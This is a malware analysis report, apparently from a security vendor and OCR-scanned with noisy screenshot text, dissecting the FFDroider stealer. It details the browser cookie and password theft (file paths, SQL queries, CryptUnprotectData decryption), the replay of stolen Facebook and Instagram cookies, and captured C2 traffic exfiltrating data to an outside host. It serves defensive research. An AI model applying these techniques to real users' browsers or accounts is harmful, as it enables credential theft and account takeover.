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Introduction

Credential stealing malware is commonly observed in the landscape of cyber attacks today. Zscaler ThreatLabz
team has discovered many new types of stealer malwares across different attack campaigns. Stealers are malicious
programs that threat actors use to collect sensitive information with various techniques including keylogging,
cookie stealing, and sending stolen information to the Command and Control Server.

Recently, ThreatLabz identified a novel windows based malware creating a registry key as FFDroider. Based on
this observation, ThreatL.abz named this new malware the Win32.PWS.FFDroider. Designed to send stolen
credentials and cookies to a Command & Control server, FFDroider disguises itself on victim’s machines to look

like the instant messaging application “Telegram™.

ThreatLabz observed multiple campaign related to FFDroider stealer in our zscaler cloud which arrived via the

compromised URL download.studymathlive[.]com/normal/lilay.exe and are all connected by a malicious program

embedded into cracked version of installers and freeware.

Figure 1: FFDroider campaign observed in Zscaler cloud
Key features of this attack

» Steals cookies and credentials from the victim’s machine.

o Targeting social media platforms to steal the credentials and cookies.

e The stealer signs into victims' social media platforms using stolen cookies, and extracts account
information like Facebook Ads-manager to run malicious advertisements with stored payment methods and
Instagram via API to steal personal information..

e Leverages inbound whitelisting rules in Windows Firewall allowing the malware to be copied at desired
location.

o Attacker uses iplogger.org to track the infection counts.

The attack cycle
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Figure 2: Attack cycle Infographic

This article focuses primarily on the dissection of the stealer and its functionality.

FFDroider stealer analysis

The FFDroider stealer is packed with the popular “ASPack v2.12” packer. To best understand how the stealer

works, ThreatLabz unpacked. decompiled, and debugged the malware, performing the following tasks during

execution:

e To detect the full malware campaign across the Zscaler cloud, researchers unpacked the file to expose the

PDB path: F:\FbRobot\Release\FbRobot.pdb

debugger-stamp 0x62175388 (Thu Feb 24 08:44:.40 2022 | UTC)
I path EA\FbRobot\Release\ FbRobot.pdb |
Guid 2E252F00-4DIF-4E94 -82 A-5F7 2DBETT080

Figure 3: PDB path

e During execution the stealer creates a Mutex to avoid reinfecting the host with different instances of the
same malware. The observed mutex value is: “37238328-1324242-5456786-8fdff0-67547552436675”

Figure 4: Mutex name created by malware
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o To make copies of itself for further execution, the malware creates a Directory in the Documents folder
named “VlcpVideov1.01”.

rd ptr

VlepVideoV1.01

Date modified Type Size

© telebot 2/28/2022 8:55 AM Application 1,959 KB

Figure 5: Creating a copy of itself in the desired directory with a renowned application icon.

e Then it executes a String Decryption Routine which is basically a XOR Decryption loop amongst the
encrypted string and the key where in it decrypts the following strings which include DLL and API names
which are further loaded and fetched using LoadLibraryA() and GetProcAddress() WinApi’s

. “Wininet.dll”

. “InternetGetCookieExW”
. “ieframe.dll”

. “IEGetProtectedModeCookie”
. “Netapi32.dll”

. “NetWkstaGetInfo”

. “NetAPIBufferfree”

. “Advapi32.dll”

. “Iphpapi.dll”

. “RegCreateKey”

. ‘GetAdaptersinfo

12. “FFDroider”

© 00 N O Ul A W N P

_ =
— O

Figure 6: String Decryption Routine

e To decrypt strings across the malware sample, ThreatLabz rewrote the XOR decryption logic in python,

shown in the screenshot below. The complete decryption code snippet can be found in the Appendix
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section of this article.

D:\>python fbrobot_stringdecrypt.py

Encrypted 1 LC@m}Zycykldtvr{qsFihc o
Decrypted 1 IEGetProtectedModeCookie

Encrypted 1 Lhsm{dnxJk{S~}x}pS}Q
Decrypted 1 InternetGetCookieExW

Encrypted 1 Lcazhgn"ibc"
Decrypted 1 Ieframe.dll2

Encrypted ' kesiye8>#ijc|
Decrypted 1 netapi32.dll

Figure 7: String decryption emulation in Python

 Inspiring the name, the FFDroider stealer uses the decrypted string and RegCreateKey() function to create
the registry key: “HKCU\Software\ffdroider\FFDroider”.

dword ptr ss:

ebot. &Reglreatekeyws=]=<advapi32.Reglreat ekeyw>

$1B677E #0

W Dump3 M Dump4 W@ Dumps @ wid» B0 | L"Software\\ffdroider\\FFDroider"”

Figure 8: Creates a registry key named “FFDroider”

e Then the malware creates multiple threads using CreateThread() to speed the theft of cookies and

credentials while hindering reverse engineering.
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An initial GET request is sent to the Command & Control Server along with the filename via
WinHTTPSendRequest().

e GET Request: http[:]//152[.132[.]228[.]19/seemorebty/il.php?e=
o Referrer: https[:]facebook[.Jcom

e Previously a Cobalt Strike server according to third-party threat intel sources

GET /seemorebty/il.php?e=1ilay HTTP/1.1
Connection: Keep-Allve

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,image webp,image apng,
q=0.8,application signed-exchange v=b3

Accept-Language: en-US,en;g=0.9

Referer: https://www.facebook.com |

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 (KHTML, like
Gecko) Chrome 70.0.3538.110 Safari 537.36

Host: 152.32.228.19 |

HTTP/1.1 200 OK

Date: Mon, 28 Feb 2022 ©8:41:42 GMT
Server: Apache

Upgrade: h2

Connection: Upgrade, close

Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

2C

https://iplogger.org/ru/logger/t3yker2ECxY6/ I
e

Figure 9: Initial request to the C&C server logs the filename and IP address of the infected host.

The response to this request is an iplogger.org URL which is used to log the Public IP address of the environment

where the malware has been detonated and might be used by the attackers to track location and IP addresses

details of the victim. After analyzing the statistics of multiple Embedded iplogger URLs we can see how the IP

addresses have been logged in the screenshots below.

IPLogger URL: https[:]//iplogger[.]org/logger/ey4zrs2miAY 6

S Logged IP’s @ Information about IPLogger sk Summary data view ws| Export IP’s

02 /22 /2022 03 /02 /2022 .Showonlyunique P . Advanced view m
@ )

Time IP addre ss/Provider Country/ City Map Device Refering pages
51. Wi . -
01.03.2022 I I I France . ?ﬂ SIS Browser didn't send referrer data
\ @
.02 74. I i o _ _
22.02.2022 BEE= United States - ?ﬂ ¥ Windows Browser didn't send referrer data
— & e
.02, 74. I i i _ _
22.02.2022 EE= United States 9" é WIndOWS 2 wser dian't send referrer data
= [
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Figure 10: IP address of Infected host logged using iplogger.org

o The malware further initiates the Cookie and Credential Stealer functionalities and targets the following

browsers and websites:
- Target Browsers:

1. Google Chrome
2. Mozilla Firefox
3. Internet Explorer
4. Microsoft Edge

ale 5: —
text "UTF-16LE™, "IE',B
align 4

aEdge 5: ; DATA XREF:|sut
text "UTF-16LE™, 'EDGE',®
align 4

aChromeExe: ; DATA XREF:§suk
text "UTF-16LE"™, "chrome.exe',®
align 1@h

word_152F0@8 dw & ; DATA XREF:Qsuk
align 4

dword_152F9 dd 22h ; DATA XREF:Qsut

aFirefoxExe: ; DATA XREF:§suk
text “"UTF-16LE™, ‘"firefox.exe',@

aFEF 5. = Siii— =k

Figure 12: List of target browsers
- Target Websites:

. www].]facebook[.]Jcom

. wwwl.]instagram[.]Jcom

. wwwl.]Jamazonl[.]ca/cn/eg/fr/de/in/it.co.jp/nl/pl/sa/sg/es/se/ae/co.uk/com/com.au/com.br/mx/tr
. www][.]all-access.wax].]io

. wwwl.]ebay[.]Jcom

. www[.]etsy[.]Jcom

N O U W N e

. wwwl.]Jtwitter[.]Jcom
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Figure 13: List of Target Web applications - uses stack strings
Understanding the Cookie and Credential Stealer Routine:

e Google Chrome: The FFDroider steals cookies and saved login credentials for the Chrome browser from

the following data stores:

i) Reads and parses the Chromium SQLite Cookie store from the
C:\Users\\AppData\Local\Google\Chrome\UserData\Default\Network\Cookies and writes the file onto the

path where the binary resides using WriteFile() named as “d”

[} FbRobot.exe ICl'eateFiIex‘:‘ [ "C\Users\knight\AppData‘local\Google\Chrome\User Data\Default\Metwork\Cookies °, GEMERIC_READ, FILE SHARE READ | F[LE,SH:.R...I 0x00000204

7 FbRobot.exe GetFi 0x00000204 ) FILE_TYPE_DISK
8 FbRobot.exe I “d", GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, , CREATE_ALWAYS, FILE_ATTRIEUTE_NORMAL, NULL) I 0x00000208

9 FbRobot.exe GetFileType (0x00000208 ) FILE_TYPE_DISK
10 FbRobot.exe ReadFile [ 0x00000204, , 4096, . ) TRUE

11 FbRobot.exe  ReadFile (0x00000204, , 4096, , ] TRUE

Figure 14: Reads and parses the Chromium SQlite cookie store

ii) Reads and parses the Chromium SQLite Credential Store from the C:\Users\\Appdata\Local\Chrome\User
Data\Default\L.ogin Data containing the saved credentials and writes that onto the path where the binary resides

using WriteFile() named as “p” as the credential store is been locked in the AppData directory.
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4342 || FoRobotexe | CreateFilew ( ‘CUsers\knight\AppData\LocahGoagle\Chrome\User Data\Defaulf\Login Data” GENERIC_READ, FILE_SHARE_READ | FILE_SHARE WRITE, | 0x000004dc ||
4843 FbRobotexe GetFileType [0x000004dc) FILE_TYPE_DISK
4844 FbRobotexe [CreateFileW (‘p’, GENERIC WRITE, FILE SHARE_READ | FILE SHARE WRITE, 0x0%bi570, CREATE_ALWAYS, FILE ATTRIBUTE_NORMAL NULL] ] 0¥000004 0

4845 FbRobotexe GetFileType (0x00000420 ) FILE_TYPE_DISK
4846  FbRobotexe ReadFile (0¥000004dc, 0:x007h408, 4096, 0x04bfeTe0 TRUE

4847 FbRobot.exe ReadFile { 0000004 dc, 0x0 4096, 0x TRUE

Figure 15: Reads and parses the “Chrome Saved Login Credentials”

iii) The Chrome SQlite Credential store includes attributes - action_url, username_value, password_value, out of
this the password_value is encrypted using Windows Crypt API namely CryptProtectData. The malware in this
case decrypts the encrypted password blob by first parsing the “Login Data” credential store by executing an SQL

query such as “select username_value, password-value FROM logins where origin_url like \’%ebay.com/%\’;”” as

seen in the screenshot below.

~sq1E
1 SELECT username walue, pas3word wvalue FROM lu}u:_rinﬁ*
username value password value

1 fasapa4244 il

Figure 16: Execution of SQL queries across the Login Data Credential store for parsing the required credentials

The password cache is fetched from the output and passed to the CryptUnProtectData() function for in memory

decryption, revealing clear-text credentials stolen from the targeted web application Credential Store.

dword ptr
ydword ptr

Figure 17: Call to CryptUnprotectData to decrypt Saved chrome passwords in memory

iv) Then it reads and parses the local state cookies stored at
C:\Users\\AppData\Local\Google\Chrome\UserData\L ocalState and uses WriteFile() to write to the path
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named “u” where the binary resides.

148 FbRobot.exe IC\'EBtEFilE'\‘." [ "C\Users\knight\AppData\local\\Google\\Chrome\\User Data\\Local State”, GEMERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, Ox | 000000203

150 FbRobot.exe GetFileType [ 0x00000203 ) FILE_TYPE_DISK

151 FbRobot.exe I Cr [ “u”, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0x0040e58fc, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL ) I 000000194
FbRobotexe  Ge ype [ 0x00000194 ) FILE_TYPE_DISK

-I

154 FbRobot.exe  ReadFile [0&00000208 , 4096, 0x0040e54 TRUE

Figure 18: Reads and parses the local state chromium cookies

Here the Cookies are also decrypted in memory using the CryptUnprotectData() function by loading the json
“Local State” file and filtering out the two parameters: os_crypt and encrypted_key and then decrypted using

the CryptUnprotectData() and stored in memory.

ord ptr
Ui U
d ptr

e ptr

rd ptr
,l_i woild
rd ptr
e ptr

Fd ptr s
ydword ptr

Figure 19: Decrypts the Local state Cookies in memory using CryptUnprotectData

The following decryption routine takes place to steal the cookies and stored credentials for all the Chrome stores
implementing the same process using the SELECT SQL queries via sqlite3 library to fetch the required value and

then CryptUnprotectData() function to decrypt the cookies and credentials in memory as per the target website.

ame) FROM wvacuum_db.sglite m

Figure 20: Different SQI Queries implemented in the binary to parse Cookie and Credentials stores

o Internet Explorer/Edge: The FFDroider Stealer gathers cookie,browser history and other user specific

information from the internet explorer in the following way:

i) The malware executes InternetGetCookieRxW() function to retrieve the cookies for the target websites
mentioned above (HTTP ONLY cookies are been read) if they are restricted the IEGetProtectedModeCookie()
function is been used to access low integrity cookies for all the target applications during which it launches an

another process “IElowutil.exe” which is a utility in place to access the low integrity cookies and processes.
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I Dump 3 Ml Dump 4 Ml Dump 5 @B wid)»

4 o telebot.exe 412 0.06 898 MB FbRobot
& ielowutil.exe 1436 2.28 MB Internet Low-Mic Utility Tool

Figure 21: Execution of InternetGetCookieExW & IEGet ProtectedMode Cookie to steal cookies from the Internet

Explorer browser

It also reads the Appdata\Roaming\Microsoft\Windows\Cookies and fetches the Cookie and the URL details from
the Cookie store along with that it also parses the Cookies,History and downloads from the Microsoft Edge
WebCache:

C:\Users\\Appdata\Local\Microsoft\Windows\WebCache\WebCacheV01.dat by copying it onto the place

where the binary resides into the file named “d” which earlier had the chrome cookies.

4335 1 fbrobot.exe ReadFile ( 0x000004 b, 0x00b0e770, 4096, 0x007ae07 ¢, 0x007ae050 TRUE
4336 1 fbrobot.exe ReadFile { 02000004 be, 0x00b0d&d0, 4096, 0x007ae070, 0x007ae044 ) TRUE
4837 1 EYE. LolockEileEx (00000040 0 910 0 1 TRUE
45838 1 I fbrobot.exe Cop /[ "ChUsers\knight\AppData\local\MicrosoftiWindows\WebCache'WebCacheV01.dat”, "d”, FALSE] I FALSE
43839 1 fbrobot.exe W TNULY, GﬁR[C_REi.D, 0, NULL, OPE-I_E-‘Z[S'I'[I‘-IG, 0, NULL) 0x000004b3

Figure 22: Reads and parses the web cache file of the Edge browser to steal cookies, browsing history, and session

data.

Furthermore, it reads and parses the Appdata\Roaming\Microsoft\-Windows\History\History.IE5 and
\Appdata\Local\Microsoft\Windows\Temporary internet files\Content.IE5 which would allow the malware to read
the browsing history and the The Internet Explorer cache from the stores wherein it queries for attributes such as
URL visited,Filename other metadata for the target websites. Also the malware plans to steal saved VPN/Dial Up
credentials from the \Appdata\Microsoft\Network\Connections\Pbk\rasphone.pbk & \Pbk\rasphone.pbk if present,
by leveraging the Rasapi32.dll API calls.

e Mozilla FireFox: The FFDroider Stealer steals and parses the cookies from the Firefox browser initially
by reading the profiles.ini (Path: C:\Users\\Appdata\Roaming\Mozilla\Firefox\profiles.ini) which consists
of the name(s) of the used profile(s). Further the malware uses those profile names to access SQLite cookie
stores named: “cookies.sqlite” (Path:
C:\Users\\Appdata\Roaming\Mozilla\Firefox\Profiles\\cookies.sqlite) for the user profiles. The cookie
attributes are then parsed by using few SQI Queries such as “SELECT host,name,path,value,expiry FROM
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moz_cookies to fetch the Hostkey,Name,Path, Value and the Expiry of the Cookies stored in the Firefox

Cookie store.

40539 1 fbrobot.exe Createﬁe\-‘." [ "ChUsers\knight\AppData\Roaming'\Mozilla\Firefox\\cookies.sglite”, GENﬁC_REﬁ.D, HLE_SH#.RE_RE#D | HLE_SHA.RE_\’."RJ'I'E, ':]K'Eﬁi-ﬂ’_ﬂ, OPEMN_EXISTING
40540 1 kernel32.dIl RtlInitUnicodeStringEx {0 50, "Ch\Users\knight\AppData\Roaming\Mozilla\Firefox\\cookies.sqlite” )

40541 1 kernel32.dll - RillsDosDeviceName_U [ "ChUsers\knight\AppDatatRoaming\Mozilla\Firefox\\cookies.sqlite” )

40542 1 kernel32.dll i~ RtlEqualUnicodeString [ 0x003aecl ¢, 0x756b403c, TRUE )

40543 [1 [kemeB2dl | RiEqualUnicodeString | 0x003aecic, 0x756b4044, TRUE |

40544 1 kernel32.dlIl L RtlEqualUnicodeString 0 x756b404c, TRUE )

40545 1 KERMELBASE.dII £ RtllnitUnicode5tringEx { 0:0 04, “ChUsers\knight'AppData\Roaming\Mozilla\Firefox\cookies.sqlite” )

40546 1 KERMELBASE.dII RilDosPathMameToRelativeNtPathName_U_WithStatus [ "Ch\Users\knight\AppData\RoamingMozilla\Firefox\icookies.sqlite”, 0x0 04, MULL, 000 bed )

40547 1 KERMELBASE.dII NiCreateFile [ 0x003a=c24, FILE_READ _ATTRIBUTES | GEMERIC_READ | SYNCHRONIZE, 0:x003aebcs, 0x003aecl, MULL, FILE_ATTRIBUTE_MORMAL, FILE_SHARE_READ | FI

Figure 23: Reads and parses the Mozilla Firefox SQlite Cookie store.
Facebook and Instagram Data Gathering:

The FFDroider Stealer holds another functionality wherein if the malware grabs cookies for facebook.com or
instagram.com from any of the target browsers the cookies are replayed to wwwl[.]facebook[.]Jcom and

wwwl[.]instagram|.]Jcom to gather intelligence from the Users Facebook or Instagram accounts.
Facebook:
Following requests were executed by the malware post grabbing the cookie values:

i) Initially it sends a GET request to the https[:]//facebook[.]Jcom along with the stealed facebook cookie from the

target browsers to check whether the malware is able to authenticate using the following set of stealed cookies.

WinHttpOpen | “Maozilla/5.0 (Windows NT10.0; Wing4; x64) AppleWebKit 537,36 [KHTML, like Gecko) Chrome 70.0.3538,110 Safari 537,367, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, NULL, NULL, 0}
WinHttpConnect [ 0401145228, "www.facebook.com”, INTERNET_DEFAULT_HTTPS_PORT, 0 )
WinHttpOpenRequest {0x0111b418, "GET", /7, NULL, NULL, NULL, WINHTTP_FLAG_SECURE )
WinHttpSetOption (0x0111b538, WINHTTP_OPTION_SECURITY_FLAGS, 0x0455¢462, 4 ) Stealed Facebook Cookie
WinHttpSetOption (0x0111b538, WINHTTP_OPTION_CLIENT_CERT_CONTEXT, NULL, 0 )
WinHttpSetStatusCallback [ 0x0111b538, 0x007 d4fc0, WINHTTP_CALLBACK_FLAG_ALL_NOTIFICATIONS, 0 )
WinHttpAddRequestHeaders [ 0601110538, "Accept: text/html, application/xhtml+xml,application/xml;g=0.9,image webp,image apng, q=0.8,applation signed-exchange v=b3", 124, WINHTTF_AD...
WinHttpAddRegquestHeaders [ 0x0111b535, "User-Agent: Mozilla/5.0 (Windows NT 10.0; Winb4; x54) AppleWebKit 537.36 (KHTML, like Gecko) Chffome 70.0.3538.110 Safari 537.367, 127, WINHTTP_AD...
WinHttpAddRequestHeaders [ 0x0111b538, "Accept-Encoding: gzip, deflate”, 30, WINHTTP_ADDREQ _FLAG_ADD )
WinHttpAddRequestHeaders [ 0x0111b538, "Accept-Language: en-US,en;q=0.9", 31, WINHTTP_ADDREQ FLAG_ADD )
l-‘."inHttpL.ddRequestHeaders [ 0x0111b538, “Cookie: ¢_user=100 NN : datr— E—_\(Sh;fr=0Cn4eR_.Q9.AAA.0....I
WinHttpSendRequest [ 0x0111b538, NULL 0, NULL, 0, 0, 73778900 )

Figure 24: Passes the stolen facebook cookie to facebook[.]Jcom for authentication

ii) If the cookies are valid and provide proper authentication, further it sends a GET /settings with the Access
Token to facebook.com along with the authenticated stealed cookies in order to fetch the User Account settings of

the Compromised Account.

WinHttpOpen [ "Mozilla/5.0 (Windows NT 10.0; Winb4; x64] AppleWebKit 537.36 [KHTML, like Gecka) Chrome 70.0.3538.110 Safari 537,367, WINHTTP_ACCESS_TYPE_DEFALULT_PROXY, NULL, NULL, O}
WinHttpConnect ( 0x044c7948, "www.facebook.com™, INTERMNET_DEFAULT_HTTPS_PORT, 0}
WinHttpOpenRequest [ 0x01196018, "GET, "/settings”, NULL, NULL, NULL, WINHTTP_FLAG_SECURE )
WinHttpSetOption ( 0x0114ed50, WINHTTP_OFTION_SECURITY_FLAGS, 0x0465c465, 4 )
WinHttpSetOption ( 0x0114e WINHTTP_OPFTIOMN_CLIENT_CERT_CONTEXT, MULL, 0)
WinHttpSetsStatusCallback ( 0:x0114ed50, 0x007 d4fcd, WINHTTP_CALLBACK_FLAG_ALL_NOTIFICATIONS, 0')

WinHttpAddReguestHeaders [ 0x01142d50, “Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, q=0.3,application signed-exchange v=b3", 124, WINHTTP_ADDREQ FLAG_ADD )
WinHttpAddRequestHeaders [ 0x011 0, "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537.36 [KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537,367, 127, WINHTTP_ADDREQ _FLAG_ADD)
WinHttpAddReguestHeaders (0x011 0, "Accept-Encoding: gzip, deflate”, 30, WINHTTP_ADDREQ FLAG ADD |

WinHttpAddRequestHeaders ( 0x0114ed50, "Accept-Language: en-US,en;q=0.9", 31, WINHTTP_ADDREQ FLAG_ADD)

l-‘.’inHttpL.ddRequestHeaders [0x0114ed50, "Cookie: ¢_user=1 N ; datr= ﬂ;fr:O—ms...l

WinHttpSendRequest ( 0x0114ed50, NULL, 0, NULL, 0, 0, 73778900 )
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WinHttpOpen [ "Moxilla/5.0 annws NT 10.0; Wing4; x54) AppleWebKit 537.36 [KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.36°, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, NULL, NULL, 0 )
WinHttpConnect ( 0xD “www.facebook.com”, INTERWET_DEFAULT_HTTPS_PCRT, 0}

WinHttpOpenRequest [0 40, "GET", “/settingscquick=j & cquick_token=ACMTNN - ct3 g et = https363A%:2F3%2 Fuww.facebaok.com’, NULL, NULL, NULL, WINHTTP_FLAG_SECURE }
WINRLCRS ST PTION (U v INATTP_UPTIUN_SELURITT_FLALS, o oo, 4 )

WinHttpSetstatusCallback (0 '[NH'ITFLC ALLE '.CKﬁFL AG_ALL_ NOTIFICATIONS, 0}

uestHeaders “Accept: text/html,application/xhtmli+xml, application/xml;q=09,image webp,image apng, q=0.8,application signed-exchange v=b3", 124, WINHTTP_ADDREQ FLAG_ADD )

stHeaders [ “User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537.367, 127, WINHTTP_ADDREQ FLAG_ADD)
uestHeaders { 0x0 “Accept-Encoding: gzip, deflate®, 30, WINHTTP_ADDREQ_FLAG_ADD )

“Accept-language: en-US en;g=0.9", 31, WINHTTP ADDREQ FLAG ADD )

“Cookie: c_user=1 _———1datr=F h;fr:ﬂc—ﬂ\;sbl
, NULL, 0, NULL, 0, 0, 73775900 )

Figure 25: Grabs Account details and Access Token from the Compromised facebook account

iii) Further it starts enumerating whether the compromised user account is a business account and having access to

Facebook Ads Manager and fetch the following details using the stealed cookies by parsing the responses:

e Fetch Account Billing and Payment Information from the Facebook Adsmanager

o Fetch users Facebook pages and bookmarks.

e Number of facebook friends and other user related information

WinHttpOpen | "Mozilla/5.0 (Windows NT 10.0; Win64; ¥64) AppleWebKit 537.36 [KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537,367, WINHTTP_ACCESS_TYPE DEFAULT PROXY, NULL, NULL, 0 )
HttpConnect [0 “www.facebaok.com’, INTERNET_DEFAULT_HTTPS_PORT, 0)

0, “GET', “/ads/manager/accounts?_fb_noseript=17, NULL, NULL, NULL, WINHTTP_FLAG_SECURE )

WINHTTP_OPTION_SECURITY_FLAGS, 0x0465 468, 4 )

WINHTTP_OPTION_CLIENT_CERT_CONTEXT, MULL, 0 )

VinHttp O|
WinHttp5
WinHttpSetOption (0

etOption (0

WinHttpCQpen ( "Mozilla/"
HttpConnect | 0x0

0 (Windows NT 10.0; Win&4; x54) AppleWebKit 537.36 [KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537,367, WINHTTP_ACCESS_TYPE_DEFALULT_PROXY, NULL, MULL, 0)
;', www.facebook.com”, INTERMET_DEFAULT_HTTPS_PORT, 0 )

5, "GET", "/pages/Tcategory=your_ pagesaref bookmarks”, MULL, “hitps://www facebook.com”, NULL, WINHTTP_FLAG_SECURE )

NINHTTP_OFTION_SECURITY_FLAGS, 00465 c465, 4 )

, WINHTTP_OPTION_CLIENT_CERT_CONTEXT, NULL, 0 )

WinHttpOpenRequest [

WinHttpSetOption (0

WinHttpSetOption (0

WinHttpOpen [ “Mozilla/5.0 (Windows NT 10.0; Win64; x54) AppleWebKit 537,36 [KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537,367, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, NULL, NULL, 0)
5, "www.facebook.com”, INTERNET_DEFAULT_HTTPS_PORT, 0)

5, "GET", "/bookmarks/pagesiref_type=logout_gear’, NULL, “hitps://www facebook.com”, NULL, WINHTTP_FLAG_SECURE )

AT OPON_ SECURITT TIAGS, a5, 1)

NTMHTTP OPTICIN CITFNT CFRT CONTFXT n

NinHttp Connect ( 0w
NinHttpOpenRequest |

WinHttpSetUption [0x011

WinHHnSet(intion [ 0]

Figure 26: Fetches Account Billing information from Ads manager along with the Facebook Bookmark & Pages

information.

The following information may be leveraged later to run malicious advertisements from the victims account and

utilize the compromised accounts payment method to spread the malware further.
Instagram:

In the case of instagram, whenever the malware grabs any instagram cookies from the target browser cookies

stores, it performs the following routine in to steal user account details from the Instagram account as follows:

i) Initially it sends a GET request to the https[:]//instagram[.]Jcom along with the stealed instagram cookie to
check whether the malware is able to authenticate using the following set of stealed cookies and parses the html

response.
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Wintttp Open [ “Mozilla/5.0 (Windows NT 10.0; Win6d; x54) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 70.0.3535.110 Safari 537,36, WINHTTP_ACCESS TYPE DEFAULT PROXY, NULL, NULL, 0 }
=5, “wanwnstagram.com, INTERNET_DEFAULT_HTTPS_PORT, 0)

, “GET", 7", NULL, ~https://www.facebook.com™, NULL, WINHTTP_FLAG_SECURE] Stolen Instagram Cookie 0x01721 280
HitpsetOption (0 FHFTTP_OFTION_SECURTTY_FLAGS, Gx050sd5s, 4) TRUE
WinHttpSetOption {0¥01721 530, WINHTTP_OPTION_CLIENT CERT_CONTEXT, NULL, 0} TRUE
WinHittpSetStatus Callback { 030172130, 0x00 b4, WINHTTP_CALLBACK_FLAG_ALL_NOTIFICATIONS, 0) NULL
WinHttpAddRequestHeaders (001721330, “Accept: text/html,application/xhtmi=xm,application/xml:q=0.9,image webp, mage apng, q=0gapplication signed-exchange v=b3", 124, WINHTTP_ADDREQ FLAG ADD]  TRUE
WinHttpAddRequestHeaders ( 0x01721aa0, "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit 537,36 (KHTML like Geckf) Chrome 70.0.3538,110 Safari 537.367, 127, WINHTTP_ADDREQ_FLAG_ADD)  TRUE

HttpOpenRequest { 0:

WinHttpAddRequestHeaders (0 1aa0, “Accept-language: en-Us,en;q=0.9", 31, WINHTTP_ADDREQ_FLAG_ADD) TRUE
WinHttpAddRequestHeaders (0 1aal, "Referer: https://www.facebook.com”, 33, WINHTTP_ADDREQ FLAG_ADD ) TRUE
WinHttpAddRequestHeaders {0 ”1?21:1:1-]I'Cu0k|e:\g_dld:Bmmlg_nr(b*mld:_mq ior .14;snmd:...| TRUE
WinHttpSendRequest { 0x01721aad, NULL, 0, NULL, 0, 0, 84860564 ) TRUE

Figure 27: Passes the Stolen Instagram cookie to instagram[.]Jcom for authentication

ii) If there is a valid response, it sends the next GET request to the instagram server with the username of the

compromised account GET / which was parsed from the previous response and basically visits the profile page.

WinHttpOpen [ "Mozilla/5.0 [Windows NT 10.0; WinG4; ¥64) AppleWebKit 537 36 [KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537,367, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, NULL, NULL, 0}
WinHttpConnect (0x0171d190, “www.instagram.com®, INTERNET_DEFAULT_HTTPS_PORT, 0 )

WinHttpOpenRequest [ 0 0, "GET", Jabcd <", NULL, ~“hitps://www.facebook.com™, NULL, WINHTTP_FLAG_SECURE )
WinHttpSetOption (0x04aba WINHTTP_OPTICN_SECURITY_FLAGS, 0x050edSc, 4)

WinHttpSetOption [ 0x04aba7 bg, WINHTTP_OPTION_CLIENT_CERT_COMNTEXT, NULL, O }

WinHttpSetstatusCallback ( 0x04aba7bd, 0x00bcdfcd, WINHTTP_CALLBACK_FLAG_ALL_NOTIFICATIONS, O )
WinHttpAddRequestHeaders [ 0x04aba7 b, “Accept: text/html application/xhtml+xml, application/xml;q=0.9,image webp,image apng, q=0.8,application signed-exchange v=b3", 124, WINHTTP_ADDREQ_FLAG_ADD )
WinHitpAddReguestHeaders [ 0x04abaTbs. “User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64: x64) AppleWebKit 537.36 (KHTML. like Geckol Chrome 70.0.3538.110 Safari 537,367, 127. WINHTTF ADDREQ FLAG ADD )

Figure 28: Visits the profile of the Victim in order to grab required user information

iii) Further it sends another request: GET /accounts/edit/ to www][.]instagram.com which opens up the Account
settings containing all the personal account related information such as the account email address, mobile number

and other details of the compromised account.

WinHttpOpen [ "Mozilla/5.0 (Windows NT 10.0; Wing4; x64) AppleWebKit 537 36 (KHTML, like Gecko) Chrome 70.0.3538.110 Safari 537,367, WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, NULL, MULL, 0}
WinHttpConnect [ 0x04ae2d78, “www.instagram.com”, INTERNET_DEFAULT_HTTPS_PCORT, 0')

WinHttpOpenRequest | Dx d00, "GET", “faccounts/edit/”, NULL, “https://www.facebook.com”, NULL, WINHTTP_FLAG_SECURE )
WinHttpSetOption [ 0x01721aa0, WINHTTP_OPTION_SECURITY_FLAGS, 0x050edc3c, 4)

WinHttpSetOption [ 0x01721aa0, WINHTTP_OPTION_CLIENT_CERT_CONTEXT, NULL, 0}

WinHttpSetstatusCallback | 0x01721aa0, 0x00bc4fcl, WINHTTP_CALLBACK_FLAG_ALL_MNOTIFICATIONS, O}

Figure 29: Grabs Personal information such as email address, phone number from the instagram account edit

webpage.

Furthermore, in the same manner all of the account related information such as username,password,mobile
number and other account details are been grabbed from the target websites in the form of cookies,saved
credentials and fetched using different API’s and then sent to the command and control server in an encrypted

manner to the threat actors as discussed below.
Exfiltration of Stolen Information to the C2 Server:

Then the malware sends an HTTP POST request to the C2 server: http[:]//152[.]32[.]228[.]19/seemorebty along

with the encrypted cache of data for exfiltration.
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Connection: Keep-Alive

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image webp,image apng, g=0.8,application signed-exchange v=h3
Accept-language: en-US enig=8.9
Referer: https://www.facebook.com
User-Agent: Mozilla/5.@ (Windows NT 18.8; Win64; x64) AppleWebKit 537.36 (KHTML, like Gecko) Chrome 78.8.3538.11@ Safari 537.36

Content-Length: 1863

IHost : 152.32.228.19 I

WLxBENVE9]2XT00EdTNN30Q4U/QT110fgiYYODFEIB8bAA 3A0tW11GrC44p6alVgzgevY TA
